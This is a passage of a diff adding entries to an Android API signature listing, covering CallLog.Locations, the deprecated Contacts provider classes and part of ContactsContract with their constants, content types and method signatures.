+    field public static final String VIA_NUMBER = "via_number";
+    field public static final int VOICEMAIL_TYPE = 4; // 0x4
+    field public static final String VOICEMAIL_URI = "voicemail_uri";
+  }
+
+  public static class CallLog.Locations implements android.provider.BaseColumns {
+    field public static final String AUTHORITY = "call_composer_locations";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/call_composer_location";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/call_composer_location";
+    field @NonNull public static final android.net.Uri CONTENT_URI;
+    field public static final String LATITUDE = "latitude";
+    field public static final String LONGITUDE = "longitude";
+  }
+
+  @Deprecated public class Contacts {
+    field @Deprecated public static final String AUTHORITY = "contacts";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final int KIND_EMAIL = 1; // 0x1
+    field @Deprecated public static final int KIND_IM = 3; // 0x3
+    field @Deprecated public static final int KIND_ORGANIZATION = 4; // 0x4
+    field @Deprecated public static final int KIND_PHONE = 5; // 0x5
+    field @Deprecated public static final int KIND_POSTAL = 2; // 0x2
+  }
+
+  @Deprecated public static final class Contacts.ContactMethods implements android.provider.BaseColumns android.provider.Contacts.ContactMethodsColumns android.provider.Contacts.PeopleColumns {
+    method @Deprecated public void addPostalLocation(android.content.Context, long, double, double);
+    method @Deprecated public static Object decodeImProtocol(String);
+    method @Deprecated public static String encodeCustomImProtocol(String);
+    method @Deprecated public static String encodePredefinedImProtocol(int);
+    method @Deprecated public static CharSequence getDisplayLabel(android.content.Context, int, int, CharSequence);
+    field @Deprecated public static final String CONTENT_EMAIL_ITEM_TYPE = "vnd.android.cursor.item/email";
+    field @Deprecated public static final String CONTENT_EMAIL_TYPE = "vnd.android.cursor.dir/email";
+    field @Deprecated public static final android.net.Uri CONTENT_EMAIL_URI;
+    field @Deprecated public static final String CONTENT_IM_ITEM_TYPE = "vnd.android.cursor.item/jabber-im";
+    field @Deprecated public static final String CONTENT_POSTAL_ITEM_TYPE = "vnd.android.cursor.item/postal-address";
+    field @Deprecated public static final String CONTENT_POSTAL_TYPE = "vnd.android.cursor.dir/postal-address";
+    field @Deprecated public static final String CONTENT_TYPE = "vnd.android.cursor.dir/contact-methods";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "name ASC";
+    field @Deprecated public static final String PERSON_ID = "person";
+    field @Deprecated public static final String POSTAL_LOCATION_LATITUDE = "data";
+    field @Deprecated public static final String POSTAL_LOCATION_LONGITUDE = "aux_data";
+    field @Deprecated public static final int PROTOCOL_AIM = 0; // 0x0
+    field @Deprecated public static final int PROTOCOL_GOOGLE_TALK = 5; // 0x5
+    field @Deprecated public static final int PROTOCOL_ICQ = 6; // 0x6
+    field @Deprecated public static final int PROTOCOL_JABBER = 7; // 0x7
+    field @Deprecated public static final int PROTOCOL_MSN = 1; // 0x1
+    field @Deprecated public static final int PROTOCOL_QQ = 4; // 0x4
+    field @Deprecated public static final int PROTOCOL_SKYPE = 3; // 0x3
+    field @Deprecated public static final int PROTOCOL_YAHOO = 2; // 0x2
+  }
+
+  @Deprecated public static interface Contacts.ContactMethodsColumns {
+    field @Deprecated public static final String AUX_DATA = "aux_data";
+    field @Deprecated public static final String DATA = "data";
+    field @Deprecated public static final String ISPRIMARY = "isprimary";
+    field @Deprecated public static final String KIND = "kind";
+    field @Deprecated public static final String LABEL = "label";
+    field @Deprecated public static final String TYPE = "type";
+    field @Deprecated public static final int TYPE_CUSTOM = 0; // 0x0
+    field @Deprecated public static final int TYPE_HOME = 1; // 0x1
+    field @Deprecated public static final int TYPE_OTHER = 3; // 0x3
+    field @Deprecated public static final int TYPE_WORK = 2; // 0x2
+  }
+
+  @Deprecated public static final class Contacts.Extensions implements android.provider.BaseColumns android.provider.Contacts.ExtensionsColumns {
+    field @Deprecated public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/contact_extensions";
+    field @Deprecated public static final String CONTENT_TYPE = "vnd.android.cursor.dir/contact_extensions";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "person, name ASC";
+    field @Deprecated public static final String PERSON_ID = "person";
+  }
+
+  @Deprecated public static interface Contacts.ExtensionsColumns {
+    field @Deprecated public static final String NAME = "name";
+    field @Deprecated public static final String VALUE = "value";
+  }
+
+  @Deprecated public static final class Contacts.GroupMembership implements android.provider.BaseColumns android.provider.Contacts.GroupsColumns {
+    field @Deprecated public static final String CONTENT_DIRECTORY = "groupmembership";
+    field @Deprecated public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/contactsgroupmembership";
+    field @Deprecated public static final String CONTENT_TYPE = "vnd.android.cursor.dir/contactsgroupmembership";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "group_id ASC";
+    field @Deprecated public static final String GROUP_ID = "group_id";
+    field @Deprecated public static final String GROUP_SYNC_ACCOUNT = "group_sync_account";
+    field @Deprecated public static final String GROUP_SYNC_ACCOUNT_TYPE = "group_sync_account_type";
+    field @Deprecated public static final String GROUP_SYNC_ID = "group_sync_id";
+    field @Deprecated public static final String PERSON_ID = "person";
+    field @Deprecated public static final android.net.Uri RAW_CONTENT_URI;
+  }
+
+  @Deprecated public static final class Contacts.Groups implements android.provider.BaseColumns android.provider.Contacts.GroupsColumns {
+    field @Deprecated public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/contactsgroup";
+    field @Deprecated public static final String CONTENT_TYPE = "vnd.android.cursor.dir/contactsgroup";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "name ASC";
+    field @Deprecated public static final android.net.Uri DELETED_CONTENT_URI;
+    field @Deprecated public static final String GROUP_ANDROID_STARRED = "Starred in Android";
+    field @Deprecated public static final String GROUP_MY_CONTACTS = "Contacts";
+  }
+
+  @Deprecated public static interface Contacts.GroupsColumns {
+    field @Deprecated public static final String NAME = "name";
+    field @Deprecated public static final String NOTES = "notes";
+    field @Deprecated public static final String SHOULD_SYNC = "should_sync";
+    field @Deprecated public static final String SYSTEM_ID = "system_id";
+  }
+
+  @Deprecated public static final class Contacts.Intents {
+    ctor @Deprecated public Contacts.Intents();
+    field @Deprecated public static final String ATTACH_IMAGE = "com.android.contacts.action.ATTACH_IMAGE";
+    field @Deprecated public static final String EXTRA_CREATE_DESCRIPTION = "com.android.contacts.action.CREATE_DESCRIPTION";
+    field @Deprecated public static final String EXTRA_FORCE_CREATE = "com.android.contacts.action.FORCE_CREATE";
+    field @Deprecated public static final String SEARCH_SUGGESTION_CLICKED = "android.provider.Contacts.SEARCH_SUGGESTION_CLICKED";
+    field @Deprecated public static final String SEARCH_SUGGESTION_CREATE_CONTACT_CLICKED = "android.provider.Contacts.SEARCH_SUGGESTION_CREATE_CONTACT_CLICKED";
+    field @Deprecated public static final String SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED = "android.provider.Contacts.SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED";
+    field @Deprecated public static final String SHOW_OR_CREATE_CONTACT = "com.android.contacts.action.SHOW_OR_CREATE_CONTACT";
+  }
+
+  @Deprecated public static final class Contacts.Intents.Insert {
+    ctor @Deprecated public Contacts.Intents.Insert();
+    field @Deprecated public static final String ACTION = "android.intent.action.INSERT";
+    field @Deprecated public static final String COMPANY = "company";
+    field @Deprecated public static final String EMAIL = "email";
+    field @Deprecated public static final String EMAIL_ISPRIMARY = "email_isprimary";
+    field @Deprecated public static final String EMAIL_TYPE = "email_type";
+    field @Deprecated public static final String FULL_MODE = "full_mode";
+    field @Deprecated public static final String IM_HANDLE = "im_handle";
+    field @Deprecated public static final String IM_ISPRIMARY = "im_isprimary";
+    field @Deprecated public static final String IM_PROTOCOL = "im_protocol";
+    field @Deprecated public static final String JOB_TITLE = "job_title";
+    field @Deprecated public static final String NAME = "name";
+    field @Deprecated public static final String NOTES = "notes";
+    field @Deprecated public static final String PHONE = "phone";
+    field @Deprecated public static final String PHONETIC_NAME = "phonetic_name";
+    field @Deprecated public static final String PHONE_ISPRIMARY = "phone_isprimary";
+    field @Deprecated public static final String PHONE_TYPE = "phone_type";
+    field @Deprecated public static final String POSTAL = "postal";
+    field @Deprecated public static final String POSTAL_ISPRIMARY = "postal_isprimary";
+    field @Deprecated public static final String POSTAL_TYPE = "postal_type";
+    field @Deprecated public static final String SECONDARY_EMAIL = "secondary_email";
+    field @Deprecated public static final String SECONDARY_EMAIL_TYPE = "secondary_email_type";
+    field @Deprecated public static final String SECONDARY_PHONE = "secondary_phone";
+    field @Deprecated public static final String SECONDARY_PHONE_TYPE = "secondary_phone_type";
+    field @Deprecated public static final String TERTIARY_EMAIL = "tertiary_email";
+    field @Deprecated public static final String TERTIARY_EMAIL_TYPE = "tertiary_email_type";
+    field @Deprecated public static final String TERTIARY_PHONE = "tertiary_phone";
+    field @Deprecated public static final String TERTIARY_PHONE_TYPE = "tertiary_phone_type";
+  }
+
+  @Deprecated public static final class Contacts.Intents.UI {
+    ctor @Deprecated public Contacts.Intents.UI();
+    field @Deprecated public static final String FILTER_CONTACTS_ACTION = "com.android.contacts.action.FILTER_CONTACTS";
+    field @Deprecated public static final String FILTER_TEXT_EXTRA_KEY = "com.android.contacts.extra.FILTER_TEXT";
+    field @Deprecated public static final String GROUP_NAME_EXTRA_KEY = "com.android.contacts.extra.GROUP";
+    field @Deprecated public static final String LIST_ALL_CONTACTS_ACTION = "com.android.contacts.action.LIST_ALL_CONTACTS";
+    field @Deprecated public static final String LIST_CONTACTS_WITH_PHONES_ACTION = "com.android.contacts.action.LIST_CONTACTS_WITH_PHONES";
+    field @Deprecated public static final String LIST_DEFAULT = "com.android.contacts.action.LIST_DEFAULT";
+    field @Deprecated public static final String LIST_FREQUENT_ACTION = "com.android.contacts.action.LIST_FREQUENT";
+    field @Deprecated public static final String LIST_GROUP_ACTION = "com.android.contacts.action.LIST_GROUP";
+    field @Deprecated public static final String LIST_STARRED_ACTION = "com.android.contacts.action.LIST_STARRED";
+    field @Deprecated public static final String LIST_STREQUENT_ACTION = "com.android.contacts.action.LIST_STREQUENT";
+    field @Deprecated public static final String TITLE_EXTRA_KEY = "com.android.contacts.extra.TITLE_EXTRA";
+  }
+
+  @Deprecated public static interface Contacts.OrganizationColumns {
+    field @Deprecated public static final String COMPANY = "company";
+    field @Deprecated public static final String ISPRIMARY = "isprimary";
+    field @Deprecated public static final String LABEL = "label";
+    field @Deprecated public static final String PERSON_ID = "person";
+    field @Deprecated public static final String TITLE = "title";
+    field @Deprecated public static final String TYPE = "type";
+    field @Deprecated public static final int TYPE_CUSTOM = 0; // 0x0
+    field @Deprecated public static final int TYPE_OTHER = 2; // 0x2
+    field @Deprecated public static final int TYPE_WORK = 1; // 0x1
+  }
+
+  @Deprecated public static final class Contacts.Organizations implements android.provider.BaseColumns android.provider.Contacts.OrganizationColumns {
+    method @Deprecated public static CharSequence getDisplayLabel(android.content.Context, int, CharSequence);
+    field @Deprecated public static final String CONTENT_DIRECTORY = "organizations";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "company, title, isprimary ASC";
+  }
+
+  @Deprecated public static final class Contacts.People implements android.provider.BaseColumns android.provider.Contacts.PeopleColumns android.provider.Contacts.PhonesColumns android.provider.Contacts.PresenceColumns {
+    method @Deprecated public static android.net.Uri addToGroup(android.content.ContentResolver, long, String);
+    method @Deprecated public static android.net.Uri addToGroup(android.content.ContentResolver, long, long);
+    method @Deprecated public static android.net.Uri addToMyContactsGroup(android.content.ContentResolver, long);
+    method @Deprecated public static android.net.Uri createPersonInMyContactsGroup(android.content.ContentResolver, android.content.ContentValues);
+    method @Deprecated public static android.graphics.Bitmap loadContactPhoto(android.content.Context, android.net.Uri, int, android.graphics.BitmapFactory.Options);
+    method @Deprecated public static void markAsContacted(android.content.ContentResolver, long);
+    method @Deprecated public static java.io.InputStream openContactPhotoInputStream(android.content.ContentResolver, android.net.Uri);
+    method @Deprecated public static android.database.Cursor queryGroups(android.content.ContentResolver, long);
+    method @Deprecated public static void setPhotoData(android.content.ContentResolver, android.net.Uri, byte[]);
+    field @Deprecated public static final android.net.Uri CONTENT_FILTER_URI;
+    field @Deprecated public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/person";
+    field @Deprecated public static final String CONTENT_TYPE = "vnd.android.cursor.dir/person";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "name ASC";
+    field @Deprecated public static final android.net.Uri DELETED_CONTENT_URI;
+    field @Deprecated public static final String PRIMARY_EMAIL_ID = "primary_email";
+    field @Deprecated public static final String PRIMARY_ORGANIZATION_ID = "primary_organization";
+    field @Deprecated public static final String PRIMARY_PHONE_ID = "primary_phone";
+  }
+
+  @Deprecated public static final class Contacts.People.ContactMethods implements android.provider.BaseColumns android.provider.Contacts.ContactMethodsColumns android.provider.Contacts.PeopleColumns {
+    field @Deprecated public static final String CONTENT_DIRECTORY = "contact_methods";
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "data ASC";
+  }
+
+  @Deprecated public static class Contacts.People.Extensions implements android.provider.BaseColumns android.provider.Contacts.ExtensionsColumns {
+    field @Deprecated public static final String CONTENT_DIRECTORY = "extensions";
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "name ASC";
+    field @Deprecated public static final String PERSON_ID = "person";
+  }
+
+  @Deprecated public static final class Contacts.People.Phones implements android.provider.BaseColumns android.provider.Contacts.PeopleColumns android.provider.Contacts.PhonesColumns {
+    field @Deprecated public static final String CONTENT_DIRECTORY = "phones";
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "number ASC";
+  }
+
+  @Deprecated public static interface Contacts.PeopleColumns {
+    field @Deprecated public static final String CUSTOM_RINGTONE = "custom_ringtone";
+    field @Deprecated public static final String DISPLAY_NAME = "display_name";
+    field @Deprecated public static final String LAST_TIME_CONTACTED = "last_time_contacted";
+    field @Deprecated public static final String NAME = "name";
+    field @Deprecated public static final String NOTES = "notes";
+    field @Deprecated public static final String PHONETIC_NAME = "phonetic_name";
+    field @Deprecated public static final String PHOTO_VERSION = "photo_version";
+    field @Deprecated public static final String SEND_TO_VOICEMAIL = "send_to_voicemail";
+    field @Deprecated public static final String STARRED = "starred";
+    field @Deprecated public static final String TIMES_CONTACTED = "times_contacted";
+  }
+
+  @Deprecated public static final class Contacts.Phones implements android.provider.BaseColumns android.provider.Contacts.PeopleColumns android.provider.Contacts.PhonesColumns {
+    method @Deprecated public static CharSequence getDisplayLabel(android.content.Context, int, CharSequence, CharSequence[]);
+    method @Deprecated public static CharSequence getDisplayLabel(android.content.Context, int, CharSequence);
+    field @Deprecated public static final android.net.Uri CONTENT_FILTER_URL;
+    field @Deprecated public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/phone";
+    field @Deprecated public static final String CONTENT_TYPE = "vnd.android.cursor.dir/phone";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "name ASC";
+    field @Deprecated public static final String PERSON_ID = "person";
+  }
+
+  @Deprecated public static interface Contacts.PhonesColumns {
+    field @Deprecated public static final String ISPRIMARY = "isprimary";
+    field @Deprecated public static final String LABEL = "label";
+    field @Deprecated public static final String NUMBER = "number";
+    field @Deprecated public static final String NUMBER_KEY = "number_key";
+    field @Deprecated public static final String TYPE = "type";
+    field @Deprecated public static final int TYPE_CUSTOM = 0; // 0x0
+    field @Deprecated public static final int TYPE_FAX_HOME = 5; // 0x5
+    field @Deprecated public static final int TYPE_FAX_WORK = 4; // 0x4
+    field @Deprecated public static final int TYPE_HOME = 1; // 0x1
+    field @Deprecated public static final int TYPE_MOBILE = 2; // 0x2
+    field @Deprecated public static final int TYPE_OTHER = 7; // 0x7
+    field @Deprecated public static final int TYPE_PAGER = 6; // 0x6
+    field @Deprecated public static final int TYPE_WORK = 3; // 0x3
+  }
+
+  @Deprecated public static final class Contacts.Photos implements android.provider.BaseColumns android.provider.Contacts.PhotosColumns {
+    field @Deprecated public static final String CONTENT_DIRECTORY = "photo";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "person ASC";
+  }
+
+  @Deprecated public static interface Contacts.PhotosColumns {
+    field @Deprecated public static final String DATA = "data";
+    field @Deprecated public static final String DOWNLOAD_REQUIRED = "download_required";
+    field @Deprecated public static final String EXISTS_ON_SERVER = "exists_on_server";
+    field @Deprecated public static final String LOCAL_VERSION = "local_version";
+    field @Deprecated public static final String PERSON_ID = "person";
+    field @Deprecated public static final String SYNC_ERROR = "sync_error";
+  }
+
+  @Deprecated public static interface Contacts.PresenceColumns {
+    field @Deprecated public static final int AVAILABLE = 5; // 0x5
+    field @Deprecated public static final int AWAY = 2; // 0x2
+    field @Deprecated public static final int DO_NOT_DISTURB = 4; // 0x4
+    field @Deprecated public static final int IDLE = 3; // 0x3
+    field @Deprecated public static final String IM_ACCOUNT = "im_account";
+    field @Deprecated public static final String IM_HANDLE = "im_handle";
+    field @Deprecated public static final String IM_PROTOCOL = "im_protocol";
+    field @Deprecated public static final int INVISIBLE = 1; // 0x1
+    field @Deprecated public static final int OFFLINE = 0; // 0x0
+    field @Deprecated public static final String PRESENCE_CUSTOM_STATUS = "status";
+    field @Deprecated public static final String PRESENCE_STATUS = "mode";
+    field @Deprecated public static final String PRIORITY = "priority";
+  }
+
+  @Deprecated public static final class Contacts.Settings implements android.provider.BaseColumns android.provider.Contacts.SettingsColumns {
+    method @Deprecated public static String getSetting(android.content.ContentResolver, String, String);
+    method @Deprecated public static void setSetting(android.content.ContentResolver, String, String, String);
+    field @Deprecated public static final String CONTENT_DIRECTORY = "settings";
+    field @Deprecated public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DEFAULT_SORT_ORDER = "key ASC";
+    field @Deprecated public static final String SYNC_EVERYTHING = "syncEverything";
+  }
+
+  @Deprecated public static interface Contacts.SettingsColumns {
+    field @Deprecated public static final String KEY = "key";
+    field @Deprecated public static final String VALUE = "value";
+    field @Deprecated public static final String _SYNC_ACCOUNT = "_sync_account";
+    field @Deprecated public static final String _SYNC_ACCOUNT_TYPE = "_sync_account_type";
+  }
+
+  public final class ContactsContract {
+    ctor public ContactsContract();
+    method public static boolean isProfileId(long);
+    field public static final String AUTHORITY = "com.android.contacts";
+    field public static final android.net.Uri AUTHORITY_URI;
+    field public static final String CALLER_IS_SYNCADAPTER = "caller_is_syncadapter";
+    field public static final String DEFERRED_SNIPPETING = "deferred_snippeting";
+    field public static final String DEFERRED_SNIPPETING_QUERY = "deferred_snippeting_query";
+    field public static final String DIRECTORY_PARAM_KEY = "directory";
+    field public static final String LIMIT_PARAM_KEY = "limit";
+    field public static final String PRIMARY_ACCOUNT_NAME = "name_for_primary_account";
+    field public static final String PRIMARY_ACCOUNT_TYPE = "type_for_primary_account";
+    field public static final String REMOVE_DUPLICATE_ENTRIES = "remove_duplicate_entries";
+    field public static final String STREQUENT_PHONE_ONLY = "strequent_phone_only";
+  }
+
+  public static final class ContactsContract.AggregationExceptions implements android.provider.BaseColumns {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/aggregation_exception";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/aggregation_exception";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String RAW_CONTACT_ID1 = "raw_contact_id1";
+    field public static final String RAW_CONTACT_ID2 = "raw_contact_id2";
+    field public static final String TYPE = "type";
+    field public static final int TYPE_AUTOMATIC = 0; // 0x0
+    field public static final int TYPE_KEEP_SEPARATE = 2; // 0x2
+    field public static final int TYPE_KEEP_TOGETHER = 1; // 0x1
+  }
+
+  protected static interface ContactsContract.BaseSyncColumns {
+    field public static final String SYNC1 = "sync1";
+    field public static final String SYNC2 = "sync2";
+    field public static final String SYNC3 = "sync3";
+    field public static final String SYNC4 = "sync4";
+  }
+
+  public static final class ContactsContract.CommonDataKinds {
+  }
+
+  public static interface ContactsContract.CommonDataKinds.BaseTypes {
+    field public static final int TYPE_CUSTOM = 0; // 0x0
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Callable implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    ctor public ContactsContract.CommonDataKinds.Callable();
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri ENTERPRISE_CONTENT_FILTER_URI;
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+  }
+
+  protected static interface ContactsContract.CommonDataKinds.CommonColumns extends android.provider.ContactsContract.CommonDataKinds.BaseTypes {
+    field public static final String DATA = "data1";
+    field public static final String LABEL = "data3";
+    field public static final String TYPE = "data2";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Contactables implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    ctor public ContactsContract.CommonDataKinds.Contactables();
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String VISIBLE_CONTACTS_ONLY = "visible_contacts_only";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Email implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final String ADDRESS = "data1";
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/email_v2";
+    field public static final android.net.Uri CONTENT_LOOKUP_URI;
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/email_v2";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DISPLAY_NAME = "data4";
+    field public static final android.net.Uri ENTERPRISE_CONTENT_FILTER_URI;
+    field public static final android.net.Uri ENTERPRISE_CONTENT_LOOKUP_URI;
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final int TYPE_HOME = 1; // 0x1
+    field public static final int TYPE_MOBILE = 4; // 0x4
+    field public static final int TYPE_OTHER = 3; // 0x3
+    field public static final int TYPE_WORK = 2; // 0x2
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Event implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeResource(Integer);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/contact_event";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String START_DATE = "data1";
+    field public static final int TYPE_ANNIVERSARY = 1; // 0x1
+    field public static final int TYPE_BIRTHDAY = 3; // 0x3
+    field public static final int TYPE_OTHER = 2; // 0x2
+  }
+
+  public static final class ContactsContract.CommonDataKinds.GroupMembership implements android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/group_membership";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String GROUP_ROW_ID = "data1";
+    field public static final String GROUP_SOURCE_ID = "group_sourceid";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Identity implements android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/identity";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String IDENTITY = "data1";
+    field public static final String NAMESPACE = "data2";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Im implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getProtocolLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getProtocolLabelResource(int);
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/im";
+    field public static final String CUSTOM_PROTOCOL = "data6";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String PROTOCOL = "data5";
+    field @Deprecated public static final int PROTOCOL_AIM = 0; // 0x0
+    field public static final int PROTOCOL_CUSTOM = -1; // 0xffffffff
+    field @Deprecated public static final int PROTOCOL_GOOGLE_TALK = 5; // 0x5
+    field @Deprecated public static final int PROTOCOL_ICQ = 6; // 0x6
+    field @Deprecated public static final int PROTOCOL_JABBER = 7; // 0x7
+    field @Deprecated public static final int PROTOCOL_MSN = 1; // 0x1
+    field @Deprecated public static final int PROTOCOL_NETMEETING = 8; // 0x8
+    field @Deprecated public static final int PROTOCOL_QQ = 4; // 0x4
+    field @Deprecated public static final int PROTOCOL_SKYPE = 3; // 0x3
+    field @Deprecated public static final int PROTOCOL_YAHOO = 2; // 0x2
+    field public static final int TYPE_HOME = 1; // 0x1
+    field public static final int TYPE_OTHER = 3; // 0x3
+    field public static final int TYPE_WORK = 2; // 0x2
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Nickname implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/nickname";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String NAME = "data1";
+    field public static final int TYPE_DEFAULT = 1; // 0x1
+    field public static final int TYPE_INITIALS = 5; // 0x5
+    field public static final int TYPE_MAIDEN_NAME = 3; // 0x3
+    field @Deprecated public static final int TYPE_MAINDEN_NAME = 3; // 0x3
+    field public static final int TYPE_OTHER_NAME = 2; // 0x2
+    field public static final int TYPE_SHORT_NAME = 4; // 0x4
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Note implements android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/note";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String NOTE = "data1";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Organization implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final String COMPANY = "data1";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/organization";
+    field public static final String DEPARTMENT = "data5";
